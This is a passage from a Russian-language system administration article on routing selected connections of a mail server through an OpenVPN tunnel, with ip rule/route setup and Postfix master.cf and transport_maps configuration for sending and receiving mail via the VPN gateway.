Ещё раз вводим «yes» (предварительно убедившись, что Common Name совпадает с mail.mydomain.com) и парольную фразу. Как и в предыдущий раз, сертификат создаётся по пути: ~/easyrsa/pki/issued/mail.mydomain.com.crt . Копируем его и корневой сертификат из ~/easyrsa/pki/ca.crt на машину mail.mydomain.com в папку /etc/openvpn/client , в очередной раз не забывая про настройку прав доступа.
На этом, казалось бы, всё, и VPN-клиент готов к работе, но остаётся ещё один момент — маршрутизация. Не забыли про строчку up openvpn_routes.sh в конфигурации клиента? Сейчас мы с этим разберёмся.
Настройка маршрутизации на VPN-клиенте
Напомню, что наш сценарий заключается в том, что направлять через VPN мы хотим не весь интернет-трафик, а только определённые соединения. Здесь есть небольшая проблема, так как обычно для всех исходящих интернет-соединений используется шлюз по умолчанию, ассоциированный с основным сетевым интерфейсом (например, eth0 ). Напомню, что на VPN-сервере мы специально не включали SNAT для входящих IP-пакетов, так как при подключении к почтовому серверу нам важно видеть реальный IP-адрес удалённой стороны вместо локального адреса VPN-сервера (172.16.0.1). Если ничего не настраивать, то при входящем соединении через VPN ответ этому IP-адресу, согласно правилам маршрутизации, почтовый сервер отправит через основной сетевой интерфейс. Очевидно, что ни к чему хорошему это привести не может.
Решением данной проблемы является создание альтернативной таблицы маршрутизации и задание правил для её использования. Источником для написания данного раздела послужила эта статья.
Сначала нам нужно указать системе, что мы создаём новую таблицу маршрутизации. В данном руководстве она будет называться openvpn . Создадим файл /etc/iproute2/rt_tables.d/openvpn.conf с единственной строчкой:
1 openvpn
Теперь создаём shell-скрипт /etc/openvpn/client/openvpn_routes.sh со следующим содержимым:
#!/bin/bash ip route add default via 172.16.0.1 dev $dev table openvpn ip rule add from 172.16.0.2 table openvpn ip rule add to 172.16.0.2 table openvpn
Не забываем сделать его исполняемым:
# chmod +x /etc/openvpn/client/openvpn_routes.sh
Согласно настройкам клиента, этот скрипт будет выполняться каждый раз после поднятия туннельного сетевого интерфейса. Давайте разберёмся, что здесь происходит:
- Команда ip route add default . добавляет маршрут со шлюзом по умолчанию 172.16.0.1 (локальный IP нашего VPN-сервера) через интерфейс $dev в таблицу маршрутизации openvpn . Значение параметра $dev устанавливается самим клиентом OpenVPN перед запуском скрипта и содержит название туннельного интерфейса для VPN-соединения (обычно это tun0 ).
- Команда ip rule add from . добавляет правило маршрутизации, предписывающее использовать таблицу openvpn для всех исходящих соединений с IP-адреса 172.16.0.2 (это локальный IP нашего VPN-клиента).
- Команда ip rule add to . добавляет аналогичное правило маршрутизации, но оно относится уже к входящим соединениям.
Таким образом, после выполнения данного скрипта все соединения, где одной из конечных точек является локальный IP-адрес машины mail.mydomain.com в VPN-туннеле (т.е. 172.16.0.2), будут маршрутизироваться через этот туннель. Чтобы проверить это, сначала поднимаем клиент:
# systemctl start openvpn-client@client
Рекомендую также добавить его в автозапуск:
# systemctl enable openvpn-client@client
Если клиент стартовал без ошибок, для начала рекомендую попинговать 172.16.0.1, чтобы убедиться, что соединение с сервером действительно есть. Теперь попробуем соединиться через VPN с сервисом telnetmyip.com, чтобы убедиться, что маршрутизация работает корректно. С помощью telnet это можно сделать так:
$ telnet -b 172.16.0.2 telnetmyip.com
У меня этот сервис почему-то ничего не выводит, а просто закрывает соединение (возможно, из-за той же пресловутой «недружественности»). В этом случае можно попробовать ещё через curl :
$ curl --interface 172.16.0.2 telnetmyip.com
Вы получите ответ вида:
< "comment": "## Your IP Address is WW.XX.YY.ZZ () ##", "family": "ipv4", "ip": "WW.XX.YY.ZZ", . >
Если WW.XX.YY.ZZ совпадает с внешним IP-адресом машины vpn.mail.mydomain.com, то поздравляю — всё настроено корректно! Замечу, что в случае некорректной настройки вам, скорее всего, вообще не удастся установить соединение.
Входящие соединения можно проверить, подключившись с помощью telnet к vpn.mail.mydomain.com на порт 25 с любой сторонней машины (например, с домашней — если, конечно, ваш интернет-провайдер не блокирует 25-й порт на выход). При этом в логах почтового сервера должен появиться ваш реальный внешний IP-адрес, а не локальный адрес VPN-сервера 172.16.0.1.
Настройка Postfix
Приём почты
Чтобы принимать в Postfix входящие соединения через VPN-туннель, вам не нужно менять никаких настроек — достаточно лишь добавить в DNS вторую MX-запись для вашего почтового домена, указав в ней имя хоста vpn.mail.mydomain.com. Рекомендуется поставить ей низкий приоритет (например, если для основной записи у вас приоритет 10, ставьте 100), чтобы соединения через VPN-шлюз шли только тогда, когда доступ к основному серверу заблокирован с удалённой стороны.
Единственное, что здесь стоит отметить — при соединении с vpn.mail.mydomain.com ваш сервер будет представляться как mail.mydomain.com. Это не должно повлиять на доставку почты, но если вы хотите сделать всё «по феншую», то нужно будет немного пошаманить с конфигурацией. Здесь есть два варианта, которые сводятся к тому, чтобы в /etc/postfix/master.cf создать дополнительный SMTP-сервер, который будет принимать соединения через VPN, и прописать ему нужное значение myhostname .
Первый вариант: привязать второй SMTP-сервер к IP-адресу в локальной VPN-сети, вот так это будет выглядеть в master.cf :
172.16.0.2:smtp inet n - y - - smtpd -o syslog_service_name=postfix/vpn -o myhostname=vpn.mail.mydomain.com
Проблема здесь в том, что если VPN-туннель не поднят, при запуске Postfix выдаст фатальную ошибку: «fatal: bind 172.16.0.2 port 25: Cannot assign requested address». Поэтому я считаю такой способ не очень надёжным (например, если OpenVPN почему-то откажется запускаться, то Postfix тоже не сможет стартовать). Но можно поступить чуть хитрее, а именно — создать сервер, привязанный к другому порту. В примере ниже используется порт 4925 вместо стандартного 25:
4925 inet n - y - - smtpd -o syslog_service_name=postfix/vpn -o myhostname=vpn.mail.mydomain.com
Чтобы это заработало, на VPN-сервере нужно отредактировать файл /etc/ufw/before.rules : в правиле -A PREROUTING . , которое мы создавали при настройке сервера, нужно поменять в конце порт 25 на 4925. Затем выполнить команду:
# service ufw restart
NB: Если после этого вы видите, что на стороне Postfix подключение идёт всё ещё на 25-й порт — попробуйте перезагрузить VPN-сервер.
Теперь при подключении к vpn.mail.mydomain.com сервер представится вам именно этим именем. Обратите внимание, что мы также указали для нового сервера syslog_service_name=postfix/vpn , чтобы в логе было видно, как маршрутизируется соединение:
MMM dd HH:mm:ss mail.mydomain.com postfix/vpn/smtpd[12345]: connect from unknown[WW.XX.YY.ZZ]
Если вы используете postscreen и хотите отвечать корректным именем при подключении через VPN, то помимо второго SMTP-сервера нужен будет второй postscreen с соответствующими настройками. Выглядеть это будет так:
4925 inet n - y - 1 postscreen -o syslog_service_name=postfix/vpn -o myhostname=vpn.mail.mydomain.com -o smtpd_service_name=vpn-smtpd -o postscreen_cache_cleanup_interval=0 vpn-smtpd pass - - y - - smtpd -o syslog_service_name=postfix/vpn -o myhostname=vpn.mail.mydomain.com
Дополнительно вам нужно будет настроить postscreen так, чтобы он обращался к файлу кэша через proxymap , иначе получите фатальную ошибку из-за невозможности эксклюзивной блокировки этого файла. Добавляем в /etc/postfix/main.cf :
postscreen_cache_map = proxy:btree:/var/lib/postfix/postscreen_cache
Отправка почты
Для отправки почты через VPN-сервер в первую очередь, конечно, нужно убедиться, что разрешены исходящие соединения по 25-му порту и что у сервера всё в порядке с PTR, SPF и спам-листами. Если с этим проблем нет, то можно приступить к настройке.
Сначала создадим в /etc/postfix/master.cf отдельный SMTP-клиент и укажем ему значение smtp_bind_address , соответствующее локальному IP-адресу нашего почтовика в VPN-сети — в нашем случае это 172.16.0.2. По умолчанию, если Postfix не может выполнить биндинг на smtp_bind_address , он логирует предупреждение и повторяет попытку отправки уже с основного адреса. Postfix 3.7 содержит полезную настройку smtp_bind_address_enforce , которую мы можем включить для предотвращения подобного поведения: в этом случае, если VPN-туннель временно не работает, письмо просто вернётся в очередь для повторной отправки.
vpn-smtp unix - - y - - smtp -o syslog_service_name=postfix/vpn -o myhostname=vpn.mail.mydomain.com -o smtp_bind_address=172.16.0.2 # для Postfix 3.7 и выше -o smtp_bind_address_enforce=yes
Теперь настроим выборочную отправку писем на определённые домены через VPN. В нашем примере мы хотим отправлять через VPN письма на @unfriendly.org. Создаём файл /etc/postfix/vpn_transport со следующей строчкой:
unfriendly.org vpn-smtp
и добавляем в /etc/postfix/main.cf :
transport_maps = hash:/etc/postfix/vpn_transport
Далее выполняем команды:
# postmap /etc/postfix/vpn_transport # systemctl reload postfix
и пробуем отправить письмо на любой адрес в домене unfriendly.org, затем убеждаемся, что при отправке этого письма вы видите в логе не postfix/smtp , а postfix/vpn/smtp . Аналогичным образом можно добавлять в /etc/postfix/vpn_transport другие почтовые домены, не забываем только каждый раз делать postmap и reload . Конечно, необязательно использовать именно формат hash для хранения транспортной таблицы — вы можете хранить эти данные в любом другом удобном вам формате (при условии, что он поддерживается в Postfix), в том числе в каком-нибудь MySQL/MariaDB.
Заключение
В данной статье мы рассмотрели простой способ создания альтернативного канала связи между почтовым сервером и внешним миром, который можно использовать, если по каким-то причинам (например, из-за «недружественности») связь с определёнными MX-хостами через основной канал не работает. Можно отметить следующие достоинства данного способа:
- Простота настройки, особенно по сравнению с поднятием полноценного резервного почтового сервера (backup MX);
- Возможность горизонтального масштабирования: при необходимости можно арендовать ещё один сервер и быстро поднять ещё один резервный канал — вследствие простоты настройки на это уйдёт совсем немного времени;
- Никакие данные не хранятся на VPN-сервере, что особенно важно, если он расположен в РФ;
- Для VPN-сервера можно выбирать самую дешёвую конфигурацию, так как OpenVPN не затрачивает большого количества ресурсов системы, если речь идёт об одном клиенте с небольшими объёмами трафика (что как раз применимо к нашему случаю).
Недостатком данного решения является привязка VPN-шлюза к конкретному почтовому серверу. Если ваша почтовая инфраструктура содержит несколько серверов, развёртывание туннеля может быть затруднено.
Ещё одной потенциальной проблемой, хоть и не связанной непосредственно с VPN, является ручная настройка списка «недружественных» почтовых доменов — при большом количестве пользователей на почтовом сервере это может быть просто неудобно. В теории можно попробовать автоматизировать этот процесс, написав свой собственный сервис, который будет пытаться устанавливать соединение с MX-серверами получателя с разных сетевых интерфейсов и, в зависимости от результатов, выбирать для передачи письма прямой SMTP-транспорт или VPN — но эта тема уже выходит за рамки данной статьи.
- Системное администрирование
- *nix
